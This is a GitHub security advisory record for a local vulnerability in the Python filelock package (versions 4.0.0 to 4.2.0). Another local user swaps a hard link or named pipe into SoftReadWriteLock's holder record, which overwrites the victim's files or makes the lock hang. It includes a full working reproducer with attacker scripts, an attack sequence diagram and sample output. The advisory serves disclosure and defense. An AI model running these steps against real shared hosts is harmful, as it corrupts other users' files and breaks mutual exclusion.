{"id":"GHSA-fj95-fr6c-h845","summary":"filelock: SoftReadWriteLock holder refresh writes through a hard link and hangs on a named pipe that another local user renames over its record","details":"`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) refreshes its holder record (the file under `\u003cpath\u003e.rw/holders/` that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening `\u003cpath\u003e.rw/holders/\u003ctoken\u003e` by name with a plain blocking `O_WRONLY | O_NOFOLLOW` open and writing at offset 0, without checking what it opened. `O_NOFOLLOW` makes the open fail only when the final name is a symbolic link (a file that redirects to another path).\n\nA different local user (the other user below) who owns the lock's `.rw` tree reads the token of the user running the lock (the lock user below) from the `holders/` listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit.\n\nA FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's `write_lock()` / `read_lock()` hang regardless of `timeout`. It also stops a lock holder's heartbeat thread without `on_compromise` (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux.\n\nWhere the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with `fs.protected_hardlinks=0`; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock \u003e= 4.0.0 and \u003c= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-AT33VEVC` [medium, CWE-62], titled \"SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs\".\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): on a default Linux there is no race. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. `A:H` (high availability impact): the other user makes a lock user's acquire outlast any `timeout` and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock.\n\nClassification from the external review: conditional security. The owner of a planted `.rw` tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium.\n\n## Scope and preconditions\n\n- Trust boundary: the other party is a different local account that owns the lock's `.rw` tree. Either it created `\u003cpath\u003e.rw` (with `gen/` and `holders/`) before the lock's first use in a sticky directory such as `/tmp`, where `prepare()` adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created `0777` directory). There being first is not needed, because the other user renames the lock user's own `0700` tree aside and puts its own in place; `prepare()` does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode `0700`) is out of reach.\n- FIFO variant: needs only that boundary. It works on a default Linux. `fs.protected_hardlinks` plays no part, and `fs.protected_fifos=1` (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers `O_CREAT` opens in sticky directories only, and the other user renames the FIFO into place inside its own `holders/`.\n- Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with `fs.protected_hardlinks=0` (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with `1`, under which the other user's `link()` fails with `EPERM` (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their `link(2)` semantics, and the scanner did not execute it. The target must be a regular file the lock user may write, on the same filesystem as the lock, in a directory the other user can search. A `0600` file in a `0755` home directory qualifies; a file under a `0700` directory does not.\n- Platform: observed on Linux 6.1. `AsyncSoftReadWriteLock` runs the same code through an executor thread and loses that thread (from the code, not run). On Windows named pipes cannot live in a regular directory, so there is no FIFO case there.\n- Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`, [`OsFiles.overwrite` opens by name with `O_WRONLY | O_NOFOLLOW` and writes without `fstat`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L94-L100) (`fstat` would report the type of the file behind the open descriptor), while [`read` just above it uses `O_NONBLOCK` and a regular-file check](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L36-L43). The blocking open is [`_attempt_open`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L156-L160) via [`_open`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L143). [`prepare` adopts an existing tree whoever owns it](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). The single caller is [`Participant._refresh_nonce`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L544-L545), reached from [`_keep_claim_fresh`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L487-L496) on every poll of a waiting acquire and from [`heartbeat`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L547-L560), which knows only `lost` and `transient`, not a call that does not return. The acquire loop checks its deadline and the `_closed` flag only after `advance()` returns ([`_sync.py` lines 584–592](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L584-L592)). The code maps the heartbeat outcome at [lines 603–613](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L603-L613), and release joins the heartbeat thread for `heartbeat_interval + 1` at [line 446](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L446).\n\n## Introduced\n\nThe unguarded reopen came with `f974328` (\"fix(soft-rw): replace the state mutex with a generation log (#738)\", 2026-09-17), which dropped the earlier marker code's check of the opened descriptor. It was first released in 4.0.0 (verified with `git tag --contains f974328`, which answers 4.0.0).\n\n## Mechanism\n\n`OsFiles.overwrite()` refreshes a holder record by opening `holders/\u003ctoken\u003e` by name and writing at offset 0. `O_NOFOLLOW` refuses a symbolic link at that name (a planted one ends the acquire with `OSError: [Errno 40]` and the target untouched). A hard link is an ordinary directory entry, and a FIFO is not a symbolic link either. Nothing between the open and the write checks that the descriptor is the file `create()` made. Another user who can rename inside `holders/` has two ways to use the one unguarded reopen, depending on the node it puts under the lock user's record name:\n\n1. The other user can write `holders/`. `prepare()` uses an existing protocol tree whoever owns it; it checks only the node type. In sticky `/tmp`, the user who creates `/tmp/app.lock.rw/{gen,holders}` before the lock's first use owns `holders/` and may rename over anything the lock user creates in it. In a shared directory without the sticky bit, being first is not needed.\n2. The lock user publishes its record and drops the descriptor. `Participant.publish()` calls `OsFiles.create()`, which opens `holders/\u003ctoken\u003e` with `O_CREAT | O_EXCL`, writes the record and closes. The token is the file name, so the other user reads it from a listing of its own directory.\n3. The other user swaps the name. Hard link: `link(\"/home/victim/accounts.csv\", \"holders/link\")`, then `rename(\"holders/link\", \"holders/\u003ctoken\u003e\")`; `link(2)` needs search permission on `/home/victim` and write permission on `holders/`, nothing on the file. FIFO: `mkfifo` (mode `0666`) + `rename`, so the name is absent at no point and the lock user does not take the \"record is gone, recreate it\" branch.\n4. The lock user writes by name. Each poll of a waiting acquire (`poll_interval`, 0.25 s) runs `advance()` → `_keep_claim_fresh()` → `_refresh_nonce()` → `overwrite()`. With the hard link the lock user owns the linked file, so `O_WRONLY` succeeds and `write_all` puts `encode_holder(...)` at offset 0 without truncating. The lock user's call then ends in an ordinary `Timeout`. A granted holder does the same from its heartbeat thread every `heartbeat_interval` (30 s by default). With `heartbeat_interval=0.5`, the holder also writes through a link planted one second after it got the write lock, and `lock.compromise` stays `None`.\n5. The link disappears. On `Timeout` or release, `leave()` unlinks `holders/\u003ctoken\u003e`, which is now the other user's link. The target is back to one link and `holders/` is empty.\n\nThe scanner observed this with the hard link. `victim` runs `SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2)` and waits. `attacker`, who created `/tmp/app.lock.rw` first, renames a hard link to `/home/victim/accounts.csv` (mode `0600`, owner `victim`; the `attacker` account can neither read nor write it) over the record. The file keeps its size, owner and mode. It now begins `filelock-rw/1\\ntoken=ea480210b6cacc96a657f16d93f7f284\\npid=210\\nhost=cfz?pidns-f0000217\\nlease=90.0\\nnonce=5f8f61dcf2607b56ef05c521bdade557\\n`, followed by its original content from offset 135 on (the record length varies with the PID and the host name).\n\nThe same reopen with a FIFO: `open(fifo, O_WRONLY)` without `O_NONBLOCK` (the flag that makes such an open return at once) blocks until the FIFO has a reader. The scanner observed two cases on the image with its default settings.\n\nIn a waiting acquire, the code checks the deadline one level above the blocked call, so an `open` that does not return outlasts any `timeout`, and a `close()` from another thread. The lock user, with the FIFO in place of the hard link, is still inside `write_lock(timeout=2)` 12 s later, at `_storage.py:158 _attempt_open ← :143 _open ← :96 overwrite ← _protocol.py:545 _refresh_nonce ← :494 _keep_claim_fresh ← :464 advance ← _sync.py:584 _wait_for ← :512 _do_acquire_inner`; without the FIFO the same call raises `Timeout` after 2.0 s.\n\nInside filelock the only thing that ends the block is a peer's `read()` of the same name: its non-blocking open is a reader for a moment, the stuck open returns, and `write_all` then fails with `EPIPE` (broken pipe). Peers read a waiter's record only in `_sweep`, at most every `stale_threshold / 2` (`stale_threshold` is the age after which peers treat a record as abandoned). With a live holder on default settings `write_lock(timeout=2)` returned after 59.9 s with `BrokenPipeError` instead of `Timeout`, and with no live peer it was still blocked after 150 s. The blocked thread is also still inside `_acquire`'s `self._locks.transaction` section, so other threads acquiring through the same instance wait behind it.\n\nFor a holder's heartbeat, `heartbeat()` knows two failures. `overwrite` returning `False` is `lost`, an `OSError` is `transient`, and `_refresh` turns those into an `evicted` or a `refresh-failed` compromise. A blocked call is neither. With `heartbeat_interval=1, stale_threshold=3` and the FIFO renamed over the record after the grant: 6.5 s later `lock.compromise` is still `None`, `on_compromise` has not run, `release()` takes 2.0 s (the join timeout; 31 s with the default interval) and the `filelock-heartbeat-*` thread is still alive after it. For comparison, when someone deletes the record outright, the holder learns `evicted` at its next heartbeat.\n\nWhen whoever planted the FIFO keeps it open with the pipe buffer full, the `open` succeeds and `write_all` is what blocks, and peers' reads no longer disturb it. Run that way with the same intervals, a second process read the record as `b\"\"`, evicted the holder after `stale_threshold` and got the write lock 3.0 s later, while the first process was still in its critical section with `lock.compromise is None` and `on_compromise` not called.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AT33VEVC`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_TREE = \"/tmp/app.lock.rw\"\nVICTIM_FILE = \"/home/victim/accounts.csv\"\nPROTECTED_HARDLINKS = \"/proc/sys/fs/protected_hardlinks\"\nas_victim = [\"runuser\", \"-u\", \"victim\", \"--\"]\nas_attacker = [\"runuser\", \"-u\", \"attacker\", \"--\"]\n\n# set up: a file only the victim may read or write, on the same filesystem as /tmp\noriginal = b\"name,balance\\n\" + b\"\".join(b\"customer-%03d,1000\\n\" % n for n in range(20))\nwith open(VICTIM_FILE, \"wb\") as f:\n    f.write(original)\nshutil.chown(VICTIM_FILE, \"victim\", \"victim\")\nos.chmod(VICTIM_FILE, 0o600)\nshutil.rmtree(LOCK_TREE, ignore_errors=True)\n\ndirect_write = subprocess.run([*as_attacker, \"truncate\", \"-s\", \"0\", VICTIM_FILE], capture_output=True, text=True)\nprint(\"CONTROL  attacker writes the file itself:\", direct_write.stderr.strip())\nassert direct_write.returncode != 0\n\n# The one non-default setting: 0 (the kernel's built-in value, and what macOS and the BSDs allow) lets a user hard-link\n# a file it does not own. With 1, as this image boots, the attacker's link() fails with EPERM. Kernel-wide, so restored.\nprotected_hardlinks_before = open(PROTECTED_HARDLINKS).read()\nopen(PROTECTED_HARDLINKS, \"w\").write(\"0\")\ntry:\n    # attack\n    subprocess.run([*as_attacker, sys.executable, \"/tmp/repro.d/attacker_creates_lock_tree_first.py\"], check=True)\n    link_planter = subprocess.Popen(\n        [*as_attacker, sys.executable, \"/tmp/repro.d/attacker_plants_hard_link.py\"], stdout=subprocess.PIPE, text=True\n    )\n    victim_app = subprocess.run(\n        [*as_victim, sys.executable, \"/tmp/repro.d/victim_app.py\"], stdout=subprocess.PIPE, text=True, check=True\n    )\n    victim_token = link_planter.communicate()[0].strip()\n    assert link_planter.returncode == 0\nfinally:\n    open(PROTECTED_HARDLINKS, \"w\").write(protected_hardlinks_before)\n\n# check: the victim's holder record belongs in holders/\u003ctoken\u003e, never in another file\nprint(\"victim app:\", victim_app.stdout.strip())\nprint(\"attacker replaced holders/\" + victim_token, \"with a hard link to\", VICTIM_FILE)\nafter = open(VICTIM_FILE, \"rb\").read()\ninfo = os.stat(VICTIM_FILE)\nprint(f\"OBSERVED {VICTIM_FILE} (uid {info.st_uid}, mode {info.st_mode & 0o777:o}) now begins:\")\nprint(after[:200].decode(errors=\"replace\"))\nprint(\"BUG\" if after.startswith(b\"filelock-rw/1\\ntoken=\" + victim_token.encode() + b\"\\n\") else \"OK\")\n```\n\n**`repro.d/attacker_creates_lock_tree_first.py`**\n\n```python\nimport os\n\nLOCK_TREE = \"/tmp/app.lock.rw\"\n\nos.umask(0)\nos.mkdir(LOCK_TREE, 0o777)\nos.mkdir(f\"{LOCK_TREE}/gen\", 0o777)\nos.mkdir(f\"{LOCK_TREE}/holders\", 0o777)\n\n# A snapshot naming some other writer, so the victim keeps polling (and refreshing its record) instead of being granted.\nwith open(f\"{LOCK_TREE}/gen/00000000000000000001\", \"w\") as snapshot:\n    snapshot.write(\"filelock-rw/1\\ngeneration=1\\nwriter=\" + \"a\" * 32 + \"\\n\")\n```\n\n**`repro.d/attacker_plants_hard_link.py`**\n\n```python\nimport os\nimport time\n\nHOLDERS = \"/tmp/app.lock.rw/holders\"\nVICTIM_FILE = \"/home/victim/accounts.csv\"\n\ndeadline = time.monotonic() + 30\nwhile not (records := os.listdir(HOLDERS)):\n    assert time.monotonic() \u003c deadline, \"the victim never published a holder record\"\n    time.sleep(0.01)\nvictim_token = records[0]\n\n# link(2) needs write permission on holders/ and search permission on /home/victim, nothing on the file itself.\nos.link(VICTIM_FILE, f\"{HOLDERS}/link\")\nos.rename(f\"{HOLDERS}/link\", f\"{HOLDERS}/{victim_token}\")\nprint(victim_token)\n```\n\n**`repro.d/victim_app.py`**\n\n```python\nimport time\n\nfrom filelock import SoftReadWriteLock, Timeout\n\nstarted = time.monotonic()\ntry:\n    with SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2):\n        print(\"got the write lock\")\nexcept Timeout:\n    print(f\"Timeout after {time.monotonic() - started:.1f} s\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other local user (owns /tmp/app.lock.rw)\n    participant V as lock user (write_lock, timeout=2)\n    participant H as holders/ (owned by the other user, 0777)\n    participant T as /home/victim/accounts.csv (0600)\n    rect rgb(255, 214, 214)\n        Note over A,T: filelock 4.0.0 to 4.2.0\n        A-\u003e\u003eH: before the lock user's first use, create app.lock.rw, gen and holders (0777) and one snapshot naming another writer\n        V-\u003e\u003eH: publish(), create(holders/token) with O_CREAT O_EXCL, write the record, close\n        A-\u003e\u003eH: read the token from the listing\n        A-\u003e\u003eT: link(accounts.csv, holders/link), needs fs.protected_hardlinks=0\n        A-\u003e\u003eH: rename(holders/link, holders/token)\n        V-\u003e\u003eH: poll, _refresh_nonce(), overwrite() opens holders/token by name with O_WRONLY O_NOFOLLOW, no fstat\n        V-\u003e\u003eT: write_all at offset 0, the first 135 bytes of accounts.csv are now the holder record\n        V-\u003e\u003eH: Timeout after 2.0 s, leave() unlinks holders/token (the link)\n        Note over A,H: FIFO variant on default Linux, mkfifo + rename over holders/token instead of the link\n        V-\u003e\u003eH: overwrite() opens the FIFO without O_NONBLOCK and sleeps until a reader appears\n        Note over V,H: write_lock(timeout=2) still blocked 150 s later, a holder's heartbeat thread sleeps the same way and on_compromise does not run\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and starts each party under its own account with `runuser`. It writes `0` to `/proc/sys/fs/protected_hardlinks` for the run (restored afterwards; this is why it needs the privileged container), creates `/home/victim/accounts.csv` (20 lines of CSV, owner `victim`, mode `0600`) and shows that `attacker` cannot write it. Then `attacker_creates_lock_tree_first.py` creates `/tmp/app.lock.rw`, `gen/` and `holders/` with mode `0777` and one snapshot naming some other writer, so the lock user's acquire polls instead of getting the lock at once. `victim_app.py` runs `SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2)`. `attacker_plants_hard_link.py` waits for the lock user's record to appear in `holders/`, hard-links `accounts.csv` beside it and renames the link over the record. Expected output on the scanned commit (token, PID and nonce vary):\n\n```\nCONTROL  attacker writes the file itself: truncate: cannot open '/home/victim/accounts.csv' for writing: Permission denied\nvictim app: Timeout after 2.0 s\nattacker replaced holders/42cc890a86c300dd889f1376d9995abf with a hard link to /home/victim/accounts.csv\nOBSERVED /home/victim/accounts.csv (uid 1000, mode 600) now begins:\nfilelock-rw/1\ntoken=42cc890a86c300dd889f1376d9995abf\npid=131\nhost=cfz?pidns-f0000217\nlease=90.0\nnonce=293a8c7462249a2e9bf283a793bb5f45\n000\ncustomer-007,1000\n...\nBUG\n```\n\nThe reproducer prints `BUG` only if the file now begins with `filelock-rw/1\\ntoken=\u003cthe token the other user replaced\u003e\\n`, the holder record the lock user's own `OsFiles.overwrite()` wrote through the link. The FIFO variant is one line away (`os.mkfifo(...)` + `chmod 0o666` in place of `os.link`) and needs no sysctl change: the lock user's program prints nothing and is still running after 8 s with `timeout=2`, and `kill -ABRT` prints the stack quoted above. The same run with `root` taking the lock overwrote a `0600` file in `/etc` that only root can access.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #842 stack head the stock reproducer reaches no verdict, because the stack's owner check refuses the `/tmp/app.lock.rw` owned by the other account with `RuntimeError` before the lock user publishes a record (the target stays untouched). With that owner check disabled, the stock reproducer prints `OK` with `accounts.csv` intact. The independent review's FIFO variant (`mkfifo` + rename, no sysctl change) shows the 4.2.0 lock user not returning within 15 s (container killed at 300 s) against `Timeout after 2.0 s` on the PR head.\n\n## Impact\n\nOn a default Linux (`fs.protected_hardlinks=1`) the reachable effect is the FIFO hang. The other user makes a lock user's `acquire_read` / `acquire_write` / `read_lock` / `write_lock` hang whatever `timeout` the caller passed. That user could already keep the lock busy, in which case the lock user gets `Timeout` on time; the FIFO takes that away. Against a process that holds the lock, the FIFO stops the heartbeat thread, which is the only path by which a holder learns of its eviction. After `stale_threshold` (90 s by default) a second process takes the lock and nothing tells the first, so a live holder and its evictor both believe they hold the write lock and `on_compromise` does not run.\n\nA user who owns the tree can already get a reader granted beside a live writer by writing one forged `gen/\u003cN+1\u003e` snapshot. What this bug adds is the acquire that outlasts its `timeout` and the heartbeat thread that does not return. The FIFO variant touches nothing outside the lock's own directory.\n\nWhere the kernel allows the hard link, a different local user corrupts files it has no access to, with the rights of the process that takes the lock. filelock's holder record replaces the first 135 bytes or so of the target. The other user does not choose the bytes, so the result is data destruction, not code execution: the header of a database or archive, the first lines of a configuration or credential file. This is the hard-link counterpart, on a derived name of the soft read-write lock, of the symbolic link fixes at the lock path recorded in the changelog (3.20.1 for lock file creation, 3.20.3 for `SoftFileLock`), which `O_NOFOLLOW` does not cover.\n\n## Workarounds\n\n- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a `SoftReadWriteLock` between accounts through a `0777` or group-writable directory.\n- In a sticky directory such as `/tmp`, make sure the locking account creates `\u003cpath\u003e.rw` before anyone else can, and refuse to use a lock path whose `\u003cpath\u003e.rw` belongs to another account.\n- Keep `fs.protected_hardlinks=1` (the default on mainstream Linux distributions). It removes the file-overwrite variant, not the FIFO stall.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/842\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 01:39 UTC: fix PR #842 opened\n- 2026-10-16 05:42 UTC: draft advisory created (first as part of GHSA-wfhq-q4j2-c37m, then split into this advisory)","aliases":["CVE-2026-112934"],"modified":"2026-10-28T21:15:04.925561437Z","published":"2026-10-28T21:08:13Z","database_specific":{"cwe_ids":["CWE-62"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-28T21:08:13Z","nvd_published_at":"2026-10-20T15:17:16Z"},"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-fj95-fr6c-h845"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112934"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/842"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}],"affected":[{"package":{"name":"filelock","ecosystem":"PyPI","purl":"pkg:pypi/filelock"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.2.1"}]}],"versions":["4.0.0","4.0.1","4.0.10","4.0.11","4.0.12","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.1","4.1.2","4.2.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-fj95-fr6c-h845/GHSA-fj95-fr6c-h845.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H"}]}